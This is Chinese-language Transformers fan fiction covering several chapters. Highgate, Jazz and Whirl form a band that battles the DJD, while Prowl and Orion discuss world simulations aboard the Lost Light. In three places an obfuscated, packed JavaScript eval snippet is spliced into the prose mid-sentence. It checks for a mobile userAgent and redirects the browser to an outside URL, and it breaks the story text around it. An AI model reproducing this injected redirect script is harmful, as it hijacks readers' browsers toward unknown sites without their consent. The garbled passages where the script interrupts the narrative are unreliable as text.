现在,身处这座被悠扬音乐所浸泡的城市里,他想了很多东西,比如霸天虎的崛起、成为新领袖的擎天柱、在他闭门期间变得天翻地覆的整颗星球、还有那个至今无法理解的问题: “音乐真的有这么重要吗?” “嘿。” 一个声音忽然从旁边的无人处响起,音量不大,但还是吓了海格特一下,然后他把盖在身上的金属板拉得更紧了些。 “有必要缩成这样吗,”是爵士的声音,他还顺便敲了敲金属板上方,“出来吧,我觉得你弹得很有自我表现力,虽然和我的音乐稍微有点不相融。” ——能把“胡乱瞎弹”说得这么好听,这个人也真是乐观。 “我想告诉你的是,网上不少人说你太拼命了,但在前半段的激烈演奏后,后半段开始半首曲子的全程出神非常摇滚。” ——那是因为那个叫拨片的东西中途就丢了。 “最后还把吉他弦全都绷断,非常大胆创新。” ——因为根本不知道这东西的正确承力范围。 “这种好像是被称为实验性音乐,也有一批受众,所以没必要这么灰心。” “对不起……” 海格特勉强做出回应。 他刚才根本没办法,只能硬撑着在那里拨弦,几乎是凭借气势站在台上,别说音乐了,那甚至不是能入耳的声音,已经不是噪音的范畴,甚至可能带有物理意义上的破坏性。 对面的霸天虎乐队则根本不一样,声波带着一众磁带,每个人各司其职,配合起来浑然天成。 再看看自己这边,简直只能用灾难形容。 结果也是毫不意外地输了。 “都是我的错。” 斯坦尼兹要因此变成霸天虎的地盘了,一想到这,海格特就忍不住整个人缩得更紧。 不,不对。 怎么想都是突然拉自己上台的这个人、以及那些会把重要的战争局势放在音乐上的塞伯坦人的问题。 “人生无常嘛。” 爵士拍了拍金属板,像要做一个拍肩膀的动作。 “顺带一提,那把吉他是我前队友留下来的东西,我刚才去问了一下,修理费用大概要3000赛金。” 回答他的只有沉默。 “嗯?” 爵士顿了一下,想掀开那块阻碍沟通的金属板看看,但就在这时金属板猛地朝他面甲飞来,一个闪身躲避的功夫,藏在下面的人就抓住机会迅速转身逃走。 为什么? 逃进巷子里的海格特在心里想着。 为什么我会这么疏于防范? 因为对方的火种并没有恶意,所以一直没对爵士抱有什么警惕。 结果最近的塞伯坦人,原来能在讹诈别人的同时,火种状态却依旧保持一副清爽的无辜状态吗!? 难道这几十年里发生了某种进化? 不管是不是,居然突然把那么贵重的东西交给别人,然后索要高额赔偿金,貌似还要把斯坦尼兹失守的锅也扣在他头上。 这种情况应该怎么办……对了。 海格特一路逃窜在斯坦尼兹的街巷中,他打开内线想抽空联系安保部队,但在那之前就被引擎的轰鸣声追上。 “你不会以为两条腿就能跑过变形模式是高速载具的人吧?”爵士的声音里带着笑意。 海格特一脸警惕地盯着他。 从火种无法判断,那就什么也不能信了。 “好可怕的眼神……别误会,我是真的想跟你组队,原本的搭档离开了也是事实,冷静一下好吗?” 眼见逃不掉,他猛地停了下来,神色凝重地看向爵士: “这里会音乐的人满大街都是,你要组队找别人不行吗?” “可是上台前我就给你登录好信息了,”爵士也从载具模式变形回来,靠着墙,“以后你就是我的乐队成员,会教你弹吉他的。” “我要申请退出。” “为什么?” “因为不想跟霸天虎打。” “你是霸天虎支持者吗?那你刚刚在看到声波的时候就该下台。” “这种话你和安保部队说去。” 然而听闻此言,爵士却笑了出来:“原来如此,安保部队啊,哈哈。” “有什么好笑的?”海格特感到难以理解,“你的故乡都被输给霸天虎了,为什么还这么轻松?” “这个没关系,因为之前的只是表演赛。” “表演……?” “是的,乐队对决一般采用的都是三局两胜制,汽车人已经连赢了两场,霸天虎不想连续全输掉,所以才派出声波这种级别的高手收个尾。” 这么说来,要是自己这边赢了,反而可能会被当成是故意为之而记恨上。 所以找我上台就是为了输? “……” 忽然有一种,强烈的想攻击眼前这个人的冲动。 “那我就更要报警了,”他面无表情,“你这是欺瞒和讹诈。” “是吗,但我想警车大概不会立案,他现在在擎天柱的交响乐队里担任钢琴师,特别忙,这点小事应该不会管的。” 钢什么?交响什么? 这个世界到底怎么回事? 一口气听到这么多不懂的东西,忽然觉得有些好笑,但这个状态很难笑出来。 海格特想起爵士刚刚的话。 “小提……” “小提琴。” “嗯,那个也是乐器?” “是的,那道脉冲让大家都对音乐非常起劲,现在乐器比以往丰富了几十倍,与之相关的产业也在高速发展。” “是吗……” “你真的什么也不知道。”爵士感叹般地开口,“不错,很纯粹,我很欣赏。” “我不需要你的欣赏。” “这句话有点像警车。” 海格特微微皱起眉,他忽然想到了什么:“难道你说的前搭档……” “指的就是警车,我们以前是个双人组合,解散主要是由于音乐上的分歧。” 说到这,爵士的心情稍微有些低落下去,但只是短短一瞬就又恢复了平静。 总觉得还有什么隐情。 但这种迅速调节情绪的能力着实让海格特有些惊讶。 “和霸天虎的比拼又迫在眉睫,虽然我一个人上场也不是不可以,但总是不太好,所以我就来找你了。” 虽然火种几乎没有变化,但机器还是敏锐地感觉到这句话有着谎言在里面。 “为什么是我?” “我知道你有看到火种的能力。”爵士绕开了话题,向他伸出手,“现在的塞伯坦依旧暗流涌动,但我有直觉,我们组合起来就能改变这个时代。” 海格特盯着他,沉默了很久很久。 “既然如此,”片刻后他终于开了口,“警车为什么要退出?” “好难回答的问题。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15395853|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我就换一个,他现在在什么地方?” 爵士护目镜下的视线短暂地游离了一下:“我以为你会知道。” “我是收到警车发出的坐标才来的斯坦尼兹,说他需要帮助,结果到了之后却谁也没看到,反而是遇到你。” 海格特的光学镜平静地半阖起来,注视着对方的火种。 “所以是你主动解散了和警车的乐队,理由如你所说是音乐上的分歧,大概是他将音乐当成击退霸天虎的手段和工具,你对此感到不满,于是解散乐队,然后以他的名义给我发了消息,为了用我的能力获得支持……” “不不。” 爵士摇摇食指。 “有两事你搞错了,我不是对他感到不满,其实我也不想解散乐队,但这样下去对谁都没有好处。” “为什么这么说?” “当然是因为他和现在的你一样,没办法从音乐中有所收获。” “是吗……” 正如爵士所说,海格特其实到现在也分不清音乐和噪音有什么区别,充其量,也只是前者的音符排布符合一些数学规律罢了。 如果警车也有相似的感受,那确实会对局势感到困惑。 “还有,更重要的,我不是为了利用你的能力获取支持,”爵士说,“不然刚刚就不会让你上台啊。” 在那场表演赛结束后,关于爵士找了个全世界最糟糕的搭档的消息就已经满天飞了,之后他们要是再登台,恐怕除了猎奇的人之外没几个观众。 海格特一边思考着对方的目的,忽然看见爵士指了指巷子上方。 “跟我来。” —— 经过十几分钟的移动后,两人来到大楼的屋顶。 从这个地方可以俯瞰整个斯坦尼兹,暖色调的灯火通明,各种变形模式的人走在同样的街道上。 如此和谐的景色,海格特只有在黄金时代才见过。 “虽然你不理解音乐,但应该能理解火种的状态。”爵士这么说着,指尖越过栏杆指向某个方位,“那里应该是正在进行乐队赛的两队人,看看那里的观众吧,或许对你能有帮助。” 于是海格特将视线转移过去。 “……那是?” 光学镜微微睁大了。 目之所及的所有火种正在某个乐队的引领下,共同闪烁着一种秩序而美妙的频率,就像是宇宙中规律运行的天体。 逃离了现实的束缚,耀眼美丽的蓝色光点,毫无疑问正在洋溢着幸福的光。 不知为何,眼前的场景有些熟悉。 就好像很久很久以前,也有人带自己观赏过类似的音乐似的。 是什么来着? 海格特有些记不起来,于是转而将问题抛在脑后。 毕竟眼下还有更重要的事。 如果真的能让所有火种都绽放出和眼前一样的绚丽光彩,那音乐的价值,就算他自己无法感受,也可以有所理解。 去观察观众的火种,演奏塞伯坦最需要的曲调。 如果能做到的话…… “我同意。”他开了口。 “什么?” “我会加入你的乐队。” 海格特认真地看向爵士。 “但前提是,你依然希望警车的火种也能从音乐中有所收获。” “光是希望可不够吧。” “……我看上去是没有常识的人吗?” 是的。 但这话不能说出口。 “既然如此我们首先得去修复吉他,”爵士摆了下手,“然后你学一下演奏方法,我们就去挑战下一个对手,要做的事还有很多。” “对手?”海格特问,“谁?” “有着‘听一曲就让你去火种彼世’的杀人音乐之称,霸天虎的一支高战斗力乐队。” 爵士微笑着说出了敌人的名字。 “他们还有个名字,叫DJD。” 68.第六十八章 “这里就是乐器修理行。” 爵士说着,踏入街角一家不太起眼的门店。 这附近是泰瑞斯特大法官特殊规划的停战区,也就是专门隔离出来的“非音乐地带”,因此有很高的知名度,众多店铺和公司把经营场所集中于此,至于演出场所之类的地方则是一个也没有。 这种区域,怎么会有乐器修理店? 海格特犹豫了一下,但也拿着破损的吉他,向前踏出一步。 毕竟这是警车留下的东西,哪怕真的要付三千塞金,自己也会想修好它。 然而进入店门后,展现在眼前的却是令人意外的光景。 连半个乐器也没有。 店内所有的货架和柜子里都放满了各式各样的钟表,从电子到传统表盘,从斯坦尼兹式到传统铁堡风格,所有的钟表众生平等地摆放着,整齐划一地展现着不同时区的时间。 在做过隔音措施的内部墙面笼罩下,空间内响彻秩序凛然的齿轮咬合声,甚至显得有几分神圣。 “老板在吗?” 和四下打量的海格特不同,爵士径自走到柜台前,还随手按了按闹钟上面的铃。 海格特看向柜台下方的空间,那里有一颗火种,大概就是正乘坐升降梯上来的店主人,但是…… “这里不是钟表店吗?”他忍不住开口。 “哈,知道还拿着噪音制造源过来,小心我告你们妨碍经营。”一个颇为不爽的声音从柜台前响起,“要是让齿轮落了灰,我就从你们机体上拆零件下来用,说到做到。” 伴随着内部升降梯,这家爵士口中的“乐器修理行”的老板出现在柜台前。 独眼。 钳状的双手。 这些都是在音乐年代之前遭遇过俱五刑的痕迹,然而哪怕如今他的脸上只有一只光学镜,依旧能看出嫌弃的神色。 “既然不是顾客,给你们十秒走出店门,不然我就开/枪。” 旋刃毫不留情地说着,随手拿起一块金属织物开始擦拭柜台上的几枚表盘,一副爱答不理的态度。 “我来是为了给你看看这个。”爵士直接递给他一块数据板,“拿好。” “这啥?” “好东西。” “我这儿不收电路增速剂。” “别那么损,你看看就知道了。” 语焉不详,神秘兮兮。 但看在对方是爵士这个音乐高手的份上,旋刃狐疑地接过。 “啊。” 海格特这才注意到,那是两人之前的演出录像。 但是想阻止已经晚了,旋刃已经点开播放。 在看完整场录像后,原本一副嫌弃表情的钟表匠,用着不知道是位于何处的空气置换端口,深深倒吸了一口凉气。 然后—— “真是一塌糊涂的旷世杰作啊哈哈哈哈!” 用夸张的音量纵声大笑起来。 在海格特心如死灰的眼神中,旋刃绕到柜台前,用手臂勾住他的脖子,一下下戳着他的脸。 “这种噪音简直是应该被在法律上禁止的危险品,我甚至要同情声波的组合了,你真不是故意的吗?哇,简直叹为观止。” 话被说到这个地步,连挣开或者争辩的力气都没有,海格特表情都放空了。 与我无关,与我无关…… 他在心里给自己下着暗示。 爵士则是摊开一只手,微笑着问:“我就说不错吧?” “啊,够劲,我喜欢,”旋刃放开海格特,笑嘻嘻开口,“比起那些‘好音乐’,我就喜欢这种祸害人的东西,吉他拿来给我,记得付钱。” 不会被拆成碎片吧? 海格特有些迟疑,但看爵士那游刃有余的表情,最后还是将吉他递给了旋刃。 于是,数分钟后。 兼乐器修理行的钟表店内。 “给你。” 海格特拿到了被完全修复好的吉他。 修缮得好到不可思议,不只重新配置了弦,还将一些细微的磨损之处一并改善,完全看不出曾经遭到过破坏。 很难想象一个经历过俱五刑,还有着如此疯狂头脑的人会掌握这么精细的技术。 “你想什么呢,”觉得他的表情有些可疑,旋刃眯起光学镜,“修理乐器比起制作钟表简单太多了好吗?” “抱歉……” “算了,看在你给我看到久违的乐子的份上。” 旋刃说到这,忽然想到什么,又凑到爵士旁边。 “让我也加入组合怎么样?修理费给你免了。” “我们这边没什么问题,但他的演奏技术可是远低于你,”爵士说,“这样也没关系?” “谁晓得,我上台只是为了表达自己,至于别人演奏得好还是不好管我什么事。” 相当自我中心,目中无人的发言。 可惜是事实。 “那你为什么要加入?”海格特问,“一个人不是更方便演奏?” “我练的是架子鼓,一个人方便个浮渣啊。” “……” 架子鼓是什么?海格特茫然地想。 “而且虽然不喜欢选择‘队友’,但选择‘敌人’我还是很乐意的。” 旋刃笑着地夹了夹他的肩膀。 “看我加入乐队,然后把你们还有对手的音乐,全都毁个稀巴烂。” 他如是挑衅着,但海格特只是轻轻“嗯”了一声,严肃地开口: “但如果我本来演奏得就稀巴烂,该怎么办?而且爵士的音乐已经被我毁了。” “……” 旋刃陷入了沉思。 —— ———— 万物之流号,某办公室内。 警车将有关功能主义社会的报告书整理完毕,又向天火确认了几个细节,然后久违地放松下来。 “不去继续看看这次的世界模拟吗?”天火问他,“听说每时每刻都有令人惊讶的情况发生,其他人都在热烈讨论。” “不,我就不去了,”警车揉了揉眉心,“情报价值很低,而且赢的可能性也几乎为零。海格特放宽参数标准的前提是将胜利条件也变得更严格,那既然这个模拟世界成立的基础这么荒唐,胜利条件只怕也很荒谬。” “说得也是。” “但是从提升士气这点,确实得感谢爵士。” 尽管对方有如掩饰般地特地提出“士气”这一点,但天火知道,万物之流号这次提升的远远不止士气。 而是直接从前两次模拟的沉重氛围中挣脱出来,焕然一新。 因为音乐那跳过具象、直接进行意志和情绪表达的特性,各种各样的感染力以极快的速度影响了船员,连丧门神和小诸葛都暂时和解了。 ——“换个模拟世界,我就没有变成杀人魔。” ——“只是换了一种情况,就会化敌为友。” 换言之,没有什么是绝对的。 这样的清楚认知让很多人都放下了前两场模拟带来的恩怨,以及对自己未来的各种消沉想法。 短短一天工夫,几乎所有人的精神状态都回到了安全范围内。 就连警车和天火这两个原本陌生,甚至因为曾经发生过的事情而有些芥蒂的人,此刻都能友好地进行交流。 “看上去是在浪费机会,不过爵士的决定的确击中了眼下最关键的点,甚至扭转了局势。” 警车不由得感叹。 “他总是能做出最好的判断,从以前就是。” 说什么随机应变,即兴创作,其实就是不自知的天才。 只是比起政治、局势和战争走向这些,他更向往别的东西,所以那份精神一直在朝着发散的方向努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等等,哪怕他的低频操控能对到达塞伯坦,”天火问,“又该怎么让无极选择特定指令,而不是别的?” 如果得到机会,那个人根本不可能配合。 如果他以此为契机,控制海格特辅佐他自立为王,对其他塞伯坦人来说也很难处理,完全有可能再现天火的模拟世界中的那种情况。 然而,警车只是轻轻说了一句:“我有我的办法。” “是什么?”天火皱起眉,“你可别说是谈判。” “很类似。” “我们都知道他不会听……好吧,这话我只说一次,警车,你该不会是想用类似皮影戏的那种思维操纵技术吧?” 操纵无极。 然后用被操纵的无极进一步操纵海格特。 “……你想得挺认真的。”警车说。 “所以到底是不是?” “那么做听上去效率很高,也在考虑范围内,”警车回答,“但我不会这么做,一是我讨厌周而复始的愚蠢战争,所以不想走上模拟世界中的老路。二是客观上,传统的手术不一定对头领战士有用,极端情况下可能反过来被对方操控,我没必要冒这个风险。” “我明白了,”天火陷入思考,“但这样一来,就没有能约束那个头领战士借机控制海格特的手段。” “我没有说要让无极控制海格特。”警车说,“模拟世界里他操控的是尚未完全展现的机器,对现在已经将整个星球纳为己有的海格特来说不一定能起作用,所以,只是想让他的能力传送到塞伯坦,暂时干扰数据化。” “哦,原来如此。”科学家反应得很快,“所以真正的目标是领导模块?” “是的,我怀疑这才是之前那个世界里,御天敌对海格特有影响的关键。” 传说中从普神那里流传下来的,领袖的证明。 在眼下的状态里,没有比获得它更能振奋人心的事了。 虽然警车不信普神,但是,如果海格特真的是被一个类似创造者、先驱者的存在制造的话…… 那他和领导模块,极有可能有着比他们想象中更深的联系。 69.第六十九章 塞伯坦,岩斧城大提炼厂。 由于霸天虎的突然到来,这一带已经化作“战场”,人群躁动不安,却又隐隐期待地等待着某件事的发生。 宣战的霸天虎乐队已经被确认为DJD,而汽车人这边迟迟没有决定好人选。 尽管两派在全塞伯坦范围都分散着势力,但终究有密度之分,原本驻守大提炼厂附近的队伍被佯攻所引诱,擎天柱又正在与威震天在别的城市周旋,就给DJD的突然到来创造了机会。 气氛并不热烈,但空气中有种令人外甲战栗的寂静。 如果汽车人这边无法在时限内决定由谁迎战,将会是不战自败的结果。 介于在场没人愿意看到这种场面,对汽车人来说如果真的避而不战,大概会造成比失去炼油厂更糟糕的结果。 这一切的源头,当然都是因为DJD。 虽然在民间被称为“杀人音乐”,但与这个称号相反,他们演奏出来的曲调堪称摄人心魄,而且极其强调秩序,在整个塞伯坦上也拥有数一数二的乐理美感,连完全不认同他们乐队理念的钛师傅都在听的时候点头承认过这音乐之美。 而之所以被冠以这种危险的称号,有两种说法。 一是说,有人在聆听的时候仿佛看到火种彼世的大门在面前展开(但这种说法被怀疑是光谱教信徒的宣传阴谋)。 二是说,有人听的时候真的进入了火种软终结状态,差点就死了(然后这个说法的提出人被霸天虎告上法庭,所以变成了神秘兮兮的怪谈,最新版本里,身份不明的牺牲者人数已经暴增到百位。) 当然无论哪种都无法消减听众的热情,所以DJD所到之处总是人山人海,甚至当地不得不派更多人手来维持秩序。 “汽车人这边的队伍情报出来了。”有人忽然说。 “我看看……W.H.J?这啥?” 看上去是对标DJD的某种缩写,但联想到汽车人,完全想不到是什么。 “可能是成员名单,”有人指着数据板上展现的内容,推测道,“旋刃(Whirl),海格特(Highgate)以及爵士(Jazz),正好是这三个字母。” “旋刃和爵士我都认识,这个海格特有人知道吗?他的演奏风格是什么样的?” 虽然之前有过短暂的上台经历,但那次毕竟是在汽车人连赢两场之后作为附加品的演奏,本身关注度就不高,部分声波乐队的粉丝也只是记录了霸天虎一方的情况,至于爵士这边则几乎没人记下来。 “从登录照片来看,应该是比较慢节奏的类型?” “这么以貌取人,你是真忘了差点被阿尔茜吓死的那次啊……” 讨论的声音被忽然响起的巨大乐声掩盖过去,人们将视线集中到舞台中央,在那里,首先出现的是负责宣布赛程和人员信息的主持人,在他身后不远处,两支乐队分别站在一端。 本次依旧是三局两胜制度,因为事发突然,又有新乐队参赛,主持人先是做起介绍。 “这支W.H.J乐队,队长是我们的老朋友Jazz,成员是新人海格特——有传言说他根本不是汽车人,还有,哦,居然是万众期待下终于复出的奇才,旋刃!” 台上,海格特讶异地看了一眼旁边站着的钟表匠,后者则用一种好汉不提当年勇的态度耸了耸肩: “不然你以为我是怎么把钟表店连本带利抢回来的?” 主持人再次开口:“我想大家都很好奇W.H.J乐队到底是什么意思,爵士,能告诉我们吗?” 他说着,将扩音权限转移给了爵士。 “很简单,W是Wobbly(摇晃),指我们不自信的成员海格特,H是Helicopter(直升机),指旋刃的变形模式。” “那J呢?” 爵士露出一副困惑的表情:“没人能猜到吗?当然是Jazz的首字母。” 台下传来一阵哄笑,而海格特和旋刃则是用毫无感情的眼神看向他,一个表达着“我哪里摇晃了”,另一个表达着“怎么就你用缩写”。 热场环节结束,接下来就是正式比赛。 DJD一直沉默地观察他们这边,有一种势在必得的从容。 “你很担心吗?”爵士在内线问海格特。 “嗯,我在想要是输了会发生什么事。” 哪怕自从音乐年代开启后,从各种新闻报道中已经很少看到大规模的屠杀或破坏,但在看到DJD——尤其是为首的塔恩时,海格特依旧产生了一种难以形容的警惕。 “音乐讲述的是语言之外的东西。”爵士又发了一条内线消息,“所以如果你有什么迷茫和不安的情绪,平时还可以掩饰,一旦演奏起来就掩盖不了了。” “……抱歉。” “道什么歉,我早就预想到这种情况,比起训练,你更需要的是理解,所以第一场你就观察吧。” —— 作为机械智慧生命体,只是学会乐器的使用方法并不难,至少海格特没有花多少时间就弄明白了到底该怎么弹吉他。 当对手那宛如至高天组曲般恢弘的乐声响起时,就算无法像其他人那样直观地明白音乐的价值,海格特还是觉得懂的部分比过去多了不少。 正因如此,他不由得愣在原地。 音频接收器也好,视野也好,外甲的触感也好,一切都在因为这份曲调而安静地震颤着。 唯独最关键的,明明应该用来感受音乐的最关键的部分,没有得到丝毫影响。 紧接着,一个疑问缓缓在中央处理器里产生: 明明是有如精巧数学公式般的曲调……但为什么里面会隐约有一股狂热呢? “怎么?” 内线里再次传来了爵士的联络。 海格特看了过去,发现对方依旧一副轻松的表情,他的神色与台下观众的目光完全不相符,那并不是应该在听着这曲音乐时应该做出的表情。 “我在观察,但是理解不了。”海格特回答,“传闻都说DJD的演奏注重技艺,但技艺是用理性决定事物该如何存在,他们的音乐真的能叫技艺吗?” “别那么在乎字面意思,”爵士说,“你会这么想,是因为你还没有站在塞伯坦人的角度思考问题。” “……你这个要求有些强人所难。” 没有火种就永远无法感同身受——海格特原本也不愿这么想,尤其是在天火和其他人一直鼓励他的情况下,但是多次的失败却让他开始逐渐潜移默化地对这个观念深信不疑。 不然,他怎么会对眼前的情况有种做梦般的感受呢? 不甘心是一回事,但确实意识到了自己的本质—— 一台模棱两可,随波逐流,内在异常空洞的机器。 “的确,你或许失败过很多次,”爵士说,“但那些都不是现在,顺带一提,我是有机体本体论的支持者。”* 这里怎么突然讲起本体论了?海格特对此感到困惑,但他再提问的时候爵士没有回复。 因为DJD的演奏已经结束,接下来轮到他们了。 多半要输了。海格特不由得想着。旋刃和爵士的演奏都无懈可击,所以毫无疑问,是被我拖累的。 假设自己是塞伯坦人就能理解了?哪有这么简单的事。 这样想着,WHJ乐队开始演奏时,他一开始没有行动。就像第一次上台弄丢了拨片的时候一样,只是两眼放空地发呆。 不是因为知道会输就提前放弃,而是试图从演奏中获得一点什么,哪怕一点也好,所以开始观察,观察旋刃和爵士的火种,无数观众的火种…… “——” 最后,在第二场比拼开始时,海格特的指尖,终于在吉他上流淌出了旋律。 —— ———— 这是一个由缺陷品组成的乐队。 旋刃是这样想的。 一个被俱五刑的疯子,一台患上音乐理解障碍的机器,以及一个大有才华却总是什么也得不到的演奏家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423594|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大概没有比他们更糟糕的组合了,无论是脆弱的团队意识,还是对观众毫无体贴的演奏,放眼望去全是弱点。 但是这样正好。 不,都不是正好了,旋刃甚至对此感到超乎寻常的满意。 爵士是个独行侠,除了要乐队对决地时候之外几乎不出现,而海格特,机器哪怕表现出任何深刻的情感,恐怕也是演出来的,所以不用在意。 要是队伍里的人抓着那些脆弱的情感联系不放,虽然不至于对其做出嘲讽,但旋刃真的会觉得很扫兴。 连将其破坏的兴趣都提不起来。 所以长久的时间里他都选择一个人,一个人对抗黑/帮,对抗制度,有时候用音乐,更多的时候用拳头。 因此,当节奏被海格特突如其来的乐声打乱时,他不仅没有生气,反而笑了起来。 “这才像点样。” 如果海格特一直在解读他的火种波动,从而妄图趁虚而入,夺走这支曲子的控制权,那么自己就又有了新的“目的”—— 对抗。 明明不是敌人,但还是要与之对抗,与一切向自己施善的事物斗争,甚至忽略了明面上真正的对手。 从这个角度来说,他们可能是这颗星球上为数不多的不把DJD放在眼里的人。 “来,如果你真的能从我这里抢走什么,破坏什么,都给我试试啊!” 而另一边,海格特不止在解读他,还在以惊人的速度解读爵士的音乐,然后让他们三个人完全不同的风格以最恰当的方式融合在一起。 哪怕只是短暂的的,但音乐诞生了。 之后还不满足,他甚至试图去用音乐影响所有观众的火种,但或许是又觉得这样不好,在试了几次之后就作罢。 与不断提升观感的WHJ不同,DJD今天后续的演出都没有使用擅长的古典编曲,甚至只上了两个成员,可能是因为这份过于轻敌的行动,导致他们最后的两场以一负一平结束。 平局。 这已经是奇迹般的结果了。 最后,当汽车人这边有时间拖延到主力部队过来时,DJD已经像是突然失去兴趣一样离开了,大提炼厂没有被霸天虎夺走。 “我就知道和你们两个一起演出是正确的。” 岩斧城郊区,爵士说完就宣布了今天解散。 每当演出结束的时候,这个组合就没有凑在一起的必要,让他们三个其乐融融地去油吧喝一顿恐怕只会得到三张反对票。 但是,收获了很重要的东西。 海格特心想。 保护了大提炼厂,还稍微理解了音乐是什么样的东西。这是不是意味着我距离塞伯坦人又近了一步? 不对……用音乐保护了什么地方,或者用音乐获得人性上的突破这种事听起来也太魔幻了。海格特心想。但这个世界上还会对此感到魔幻的大概就只有我,结果更像是我疯了。 —— 而另一边,DJD。 没能直接获得大提炼厂的所有权,然而由于这是预先思考过的结果,自己也没有多认真,所以塔恩没有感到多不愉快,让他感到压力的另有其事。 在委托钢镚检修乐器之后,他点开了某个内线通讯。 “他们没有输,对吧?”对面的声音问道。 “是的,虽然我们没有用上全力……但你到底怎么预测到的?” “不要用问题回答问题啊,”那个声音很无奈,“至于预测,其实也算不上,我只是清楚海格特迟早能突破自我。” “……” “又沉默了,别这么戒备,你又不是不认识我这个老师。” “我觉得那不是什么突破,更像是给自己找了个弱点。”塔恩说,“还有,如果不认识你,我可能还会放松点警惕。” “哈哈。” 对面的声音笑了几声。 “嘴真毒……但你可别小看他。 真正强大的事物,无论何时都会与弱点共存。” 70.第七十章 “在第一个模拟世界结束之后,我就梳理了部分天文图的变化,尤其是几个关键恒星在生命末期的爆炸时间点,这应该可以成为模拟世界内的时间线参考。” 万物之流号的主控制室内。 警车说着,将一份电子制图投影在前方,让奥利安·派克斯查看。 “尤其是这里,和这里,”战术家说着,点出上面的几个部分,“虽然模拟世界的时间进程相对模糊,但通过这里爆炸后的星云形状改变不难看出,这次海格特的确在延长当前世界的模拟过程。” 换成以往只需要两三天左右就能结束的世界模拟,这次却花了四天,并且还没结束。 奥利安稍作思考,然后问:“是否说明他对这次的模拟有个人偏好?” “理性只能用来判断那些我们通过努力可以实现的事,”警车语气平静,“而‘推测机器的喜好’明显不在这个范围内。” “你这么说没有问题,但这个模拟世界中的海格特已经不是独立于文化之外的理性存在了,我想知道你对他的判断。” 警车本想反驳,然而想了想,最后还是松了口:“这个世界以我的视角与他并没有产生多少接触,不过的确,海格特对当前的世界相当在意。” 演算模拟的速度减缓,而且各方面的细节更加充实,不知道是不是他在迭代后增强了运算能力的缘故,总觉得观察时也变得更沉浸了些。 就是不确定是正面还是负面的。奥利安在心里想着。 自由是所有智慧生物平等的权利,而塞伯坦上,音乐又是最为平等和高效的共鸣形式之一,因此被无数塞伯坦人的心声感染过后,都不用说海格特,连飞船上的其他人都产生不少改变。 就在这时,外面忽然传来一阵骚乱。 与此同时警车的内线通讯响了,他立刻接起来,随后神色有一瞬间变得无奈。 “怎么了?”奥利安问。 “是丧门神和声波,”警车揉揉眉心,收回刚才的投影,拿起数据板,“他们对一些……乐队理念问题发生了分歧,演变成了对峙,还把救护车和千斤顶也卷进去了,现在引起了大规模围观。” 那两个人正在讨论关于技术伦理的问题,比如该如何建立价值敏感设计,被卷入其中完全是无妄之灾。 如果只是霸天虎内部斗争,警车还挺乐意作壁上观,但既然将汽车人卷入其中,还隐隐有扩大问题的趋势,就不得不干预了。 当然,想法只是想法,现在的他也不希望船上真的出现死者。 一方面是担心飞船因为冲突而出事,另一方面,或许是环境变化,又可能是目睹了太多次模拟世界的缘故,他对霸天虎也渐渐没有之前那么反感,更多的是一种麻木。 “可能会有麻烦,我也去看看。”奥利安说。 “不必了,红色警报刚刚给我发来现场状况,目前事态可控,必要的时候我会联系通天晓。” 警车说完就离开了主控制室,随着金属自动门缓缓闭合,奥利安也坐回位置上。 现在这里就剩他一个了。 安静下来的时候,总是会比平时多很多思考。 这些世界模拟已经展示出一个启示:塞伯坦人对世界缺乏预见,这并非出于弱小或者技术落后,而是由于他们的能力和力量都远远超出所能预见的范围。 救护车和千斤顶正在讨论的问题是对的,但要如何做出答案,恐怕还是个漫长的过程。 奥利安想着,将目光转向窗外的白色。 虽然也想看看模拟世界的进程,但这段时间里警车可能发来联络,其他人也可能有新的报告,而且客舱里正在发生的事也令人在意。 所以只能在这里看着报告,打发时间。 不管怎么说,有一种难得获得了喘息机会的感觉。 奥利安的指尖在桌上点了一下,最后决定还是出去,但就在起身的一瞬间,内线中显示有人对他发起了通讯。 通讯来源并非属于汽车人的军事系统,也不是万物之流号的线路,而是属于奥利安过去的个人内线。 自从尼昂的战争爆发后,他就很久没从这里收到过消息了,更别提几乎所有的老熟人都被数据化。 会是谁呢? 奥利安心情有些凝重地点开这来历不明的通讯,而对面似乎是信号不好,闪烁了好几下才显示出面部。 “!!” 在看清那是谁的瞬间,奥利安用几乎将椅子倾倒的速度猛站起来。 “震荡波?你没事?” 还以为这个人被海格特“重点关照”着数据化,而且因为被至高之门直接观测,所以不存在被折返救下的可能。 然而比起对方究竟是怎样脱身,他更关心的是老朋友的状态。 “你还好吗?发生什么事了?你现在在什么地方?” “我……滋滋……听不见你那里的……信息。” 通讯断断续续。 震荡波似乎在什么很黑的地方,身后是宇宙吗?看着又不太像。奥利安试着努力辨别,但没有什么收获,他试图恢复通讯,但可以用来操作的时间还是太短了。 “听好,我只想告诉你们一件事……” 震荡波看起来还是一如记忆中那般友善,只是在看向那双眼睛里的光彩时,似乎是视频信号太差的缘故,总觉得莫名有些许扭曲。 “不要放弃思考各种各样的可能性。” “不要停止与他的对决。” “只要你们继续坚持展现出各种世界,海格特就赢不了。” —— ———— 在之后的日子里,WHJ乐队迎来了一场又一场的胜利。 